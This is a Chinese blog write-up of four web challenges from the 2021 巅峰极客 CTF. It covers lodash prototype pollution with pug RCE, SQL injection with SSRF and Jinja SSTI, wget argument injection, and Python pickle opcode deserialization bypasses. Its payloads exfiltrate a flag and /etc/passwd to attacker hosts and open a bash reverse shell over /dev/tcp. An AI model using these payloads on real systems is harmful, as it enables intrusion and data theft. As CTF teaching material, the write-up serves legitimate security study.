Toc
  1. Web
    1. Ezjs
    2. eml
    3. what_pickle
    4. opcode
      1. 原本解法
Toc
0 results found
Rayi
2021 巅峰极客 Web Writeup

又复习了一遍python的pickle opcode,学到了不少新知识

Web

Ezjs

随便登录进去,选择图片的地方可以读取源码

源码中可以看到使用了express-validator这个包,存在lodash < 4.17.17原型链污染

https://github.com/NeSE-Team/XNUCA2020Qualifier/blob/main/Web/oooooooldjs/writeup.md

https://paper.seebug.org/1426/#_1

需要注意的是,这里因为没有引入可以解析json的包,所以使用的payload跟文章中的有所区别

对文章中的payload进行删减,可以得到如下的payload:

"].__proto__["isadmin

image.png

再看源码的验证admin的位置

if (req.session.isadmin !== "notadmin") {
     if (req.session.debug !== undefined && req.session.debug !== false)
       info.pretty = req.query.p;
     if (req.query.diy !== undefined) req.session.diy = req.query.diy;
     info.diy = req.session.diy ? req.session.diy : "尊贵的admin";
     return res.render("admin", info);
   } else {
     return res.render("admin", info);
   }

只验证了isadmindebug与某个值不等,所以污染成空字符串可以绕过

可以看到info.pretty = req.query.p;这一行非常可疑,去搜可以搜到一个RCE,就是没有回显

https://github.com/pugjs/pug/issues/3312

http://eci-2zei733lpdexwedu8rp1.cloudeci1.ichunqiu.com:8888/admin?p=');process.mainModule.constructor._load('child_process').exec('curl http://xxxxxxx/?a=`tac /root/flag.txt|base64`');_=('

eml

image-20210731180746001

访问 www.zip 下载源码,是个 EML 企业通讯录管理系统,该版本的 EML 企业通讯录管理系统存在一个未授权访问和一个 SQL 注入,详情参考这里:http://diego.team/2021/02/22/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-EML-MKCMS/。

发现在 you_never_guess_it\23333\7777 目录下有个 xxxxx.php:

<?PHP
    // 通往新世界的大门
    // 没有内网主机
    $URL = $_GET['url'];
    $CH = curl_init();
    curl_setopt($CH, CURLOPT_URL, $URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($CH, CURLOPT_FOLLOWLOCATION, TRUE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
    echo $RES;
?>

应该存在一个 SSRF,但是这个 xxxxx.php 却访问不到。在action.user.php 中发现提示,说根目录里有个 hint.txt

然后按照上面文章里 Payload 直接进行注入读取 /hint.txt:

/index.php?action=user&do=&_SESSION[isLogin]=1&search=union/**/select/**/1,load_file(0x2F68696E742E747874),3,load_file(0x2F68696E74),5,6,7,8,9,10,11,12,13,14,15

image-20210731170946174

得到那个 SSRF 文件的路径: 5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php,然后扫常用端口,发现 5000 端口有 SSTI,有过滤,使用 attr() 一把索:

http://eci-2ze1okxxdjruz6sjbnvx.cloudeci1.ichunqiu.com/5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php?url=http://127.0.0.1:5000/calc?num={{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(258)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u0066\u0031\u0031\u0031\u0031\u0034\u0034\u0034\u0034\u0034\u0067\u0067")|attr("\u0072\u0065\u0061\u0064")()}}

image-20210731170723659

得到 flag。

what_pickle

喜闻乐见的手撕python反序列化的时间

先通过wget参数注入把源码读下来

http://eci-2ze3kqdz3nvfik3aaf8b.cloudeci1.ichunqiu.com/images?image=1.jpg&argv=-e http_proxy=http://xxxx:2333&argv=--method=POST&argv=--body-file=/etc/passwd

或者

http://eci-2ze3kqdz3nvfik3aaf8b.cloudeci1.ichunqiu.com/images?image=1.jpg&argv=--input-file=http://xxxxx:2333&argv=--post-file=/etc/passwd

或者

/images?image=&argv=--post-file=/app/app.py&argv=--execute=http_proxy=http://xxxxx

app.py

from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user

cdll.LoadLibrary("./readflag.so")

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/')
@app.route('/index')
def index():
    if session.get('username', None):
        return redirect(url_for('home'))
    else:
        return render_template('index.html')

@app.route('/login', methods=["GET"])
def login():
    name = request.form.get('username', '')
    data = request.form.get('data', 'test')
    User = user(name,data)
    # 这里我改了一下,具体源码忘记了
    session["info"]=base64.b64encode()
    return redirect(url_for('home'))

@app.route('/home')
def home():
    info = session["info"]
    User = restricted_loads(base64.b64decode(info))
    Jpg_id = random.randint(1,5)
    return render_template('home.html',id = str(Jpg_id), info = User.data)


@app.route('/images')
def images():
    command=["wget"]
    argv=request.args.getlist('argv')
    true_argv=[x if x.startswith("-") else '--'+x for x in argv]
    image=request.args['image']
    command.extend(true_argv)
    command.extend(["-q","-O","-"])
    command.append("http://127.0.0.1:8080/"+image)
    image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    return image_data.stdout



if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

config.py


SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"

notadmin={"admin":"no"}

class user():
    def __init__(self, username, data):
        self.username = username
        self.data = data

def backdoor(cmd):
    # 这里我也改了一下
    print(notadmin)
    if isinstance(cmd,list) and notadmin["admin"]=="yes":
        s=''.join(cmd)
        print("success!")
        eval(s)
    else:
        print("nononono!")

这里首先可以看到,它利用了Python官方手册中给的方式对反序列化的内容进行了一个过滤

限定了只能反序列化config类,而且调用的方法或属性中不能含有__

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

这就意味着常规的反序列化手段没有用了,但是还好,出题人给我们留了一个后门

def backdoor(cmd):
    # 这里我也改了一下
    print(notadmin)
    if isinstance(cmd,list) and notadmin["admin"]=="yes":
        s=''.join(cmd)
        print("success!")
        eval(s)
    else:
        print("nononono!")

为了利用这个后门,我们得把config.notadmin的值改为{"admin":"yes"}

常规思路可以利用__main__去修改全局变量,这里显然不可以

正当我想手撕的时候,搜索发现已经有大师傅为我们造好了轮子

https://xz.aliyun.com/t/7012#toc-10

exp.py

notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('whoami').read()"])
return

生成Pickle opcode

image-20210801170636032

验证

#coding=utf-8
import base64
import pickle
import urllib.request
import pickletools
import base64
import config
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        print(module)
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

data = b"cconfig\nnotadmin\np0\n0g0\nS'admin'\nS'yes'\nscconfig\nbackdoor\np2\n0g2\n((S'__import__(\\'os\\').popen(\\'whoami\\').read()'\nltR."
data = base64.b64encode(data)
print(data)
result = RestrictedUnpickler(io.BytesIO(base64.b64decode(data))).load()
print(config.notadmin)

注意命令执行没有回显

image-20210801170742574

生成cookie,反弹shell的时候不知道为什么无法执行命令,也没回显,于是就上传的msf马

那个readflag.so文件,可以看出是把flag文件读到了内存里,但是因为flask是root权限,我们可以直接读取环境变量,找到flag,从而不用去翻内存文件

image-20210801171056149

直接去找环境变量

image-20210801171123424

opcode

跟上一个题比较像,直接读文件

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    imagePath = request.form.get('imagePath')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    try:
        f = open(imagePath,'rb').read()
    except Exception as e:
        f = open('static/image/error.png','rb').read()
    imageBase64 = base64.b64encode(f)
    return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
    return render_template("index.html")
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8888')

写了个RestrictedUnpickler,但是根本没用过,直接用pickle.loads(data)进行反序列化,相当于过滤没写

只过滤了R指令,直接一把梭

参考这里的文章的demo:

import base64
raw_data = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxxx/2333 0>&1"'
o.'''
res = base64.b64encode(raw_data)
print res

伪造session,反弹shell

image-20210731191736258

原本解法

当然,如果真的按照题目中给的过滤,可以使用如下payload

cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0(g0\ng1\nS'get'\nop2\n0cbuiltins\nglobals\np3\n0(g3\nop4\n0(g2\ng4\nS'__builtins__'\nop5\n0(g0\ng5\nS'eval'\nop6\n0(g6\nS'__import__("os").system("whoami")'\no.
#coding=utf-8
import base64
import pickle
import urllib.request
import pickletools
import base64
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

data = b'''cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0(g0\ng1\nS'get'\nop2\n0cbuiltins\nglobals\np3\n0(g3\nop4\n0(g2\ng4\nS'__builtins__'\nop5\n0(g0\ng5\nS'eval'\nop6\n0(g6\nS'__import__("os").system("whoami")'\no.'''
if b"R" in data:
    print("nonono")
    exit()
result = RestrictedUnpickler(io.BytesIO(data)).load()

题目原本的意思是限制了类builtins,以及一堆黑名单,然后再过滤R

先用https://xz.aliyun.com/t/7012#toc-0 中的工具生成只含有类builtins的payload

getattr = GLOBAL('__builtins__', 'getattr')
dict = GLOBAL('__builtins__', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('__builtins__', 'globals')
__builtins__ = globals()
____builtins____ = dict_get(__builtins__, '____builtins____')
eval = getattr(____builtins____, 'eval')
eval('__import__("os").system("whoami")')
return

image-20210801183055429

b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.

生成的payload中含有R指令,我们可以手撸payload,把R指令替换掉

可以用o指令去替换R指令

R[callable] [tuple] R调用一个callable对象crandom\nRandom\n)R
oMARK [callable] [args…] o同INST,参数获取方式由readline变为stack.pop而已(cos\nsystem\nS’ls’\no
tMARK [obj…] t将栈顶MARK以前的元素弹出构造tuple,再push回栈顶(I0\nI1\nt
b"(cos\nsystem\nS'whoami'\no."
b"csys\nsystem\np0\n0g0\n(S'whoami'\ntR."

通过观察R指令和o指令的参数格式,在调用的callable前添加MARK(即(),去掉t指令和调用t指令用到的Mark即可

更改payload

b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.

b'''cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0(g0\ng1\nS'get'\nop2\n0cbuiltins\nglobals\np3\n0(g3\nop4\n0(g2\ng4\nS'__builtins__'\nop5\n0(g0\ng5\nS'eval'\nop6\n0(g6\nS'__import__("os").system("whoami")'\no.'''

cbuiltins
getattr
p0
0cbuiltins
dict
p1
0(g0
g1
S'get'
op2
0cbuiltins
globals
p3
0(g3
op4
0(g2
g4
S'__builtins__'
op5
0(g0
g5
S'eval'
op6
0(g6
S'__import__("os").system("whoami")'
o.

image-20210801183712203

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!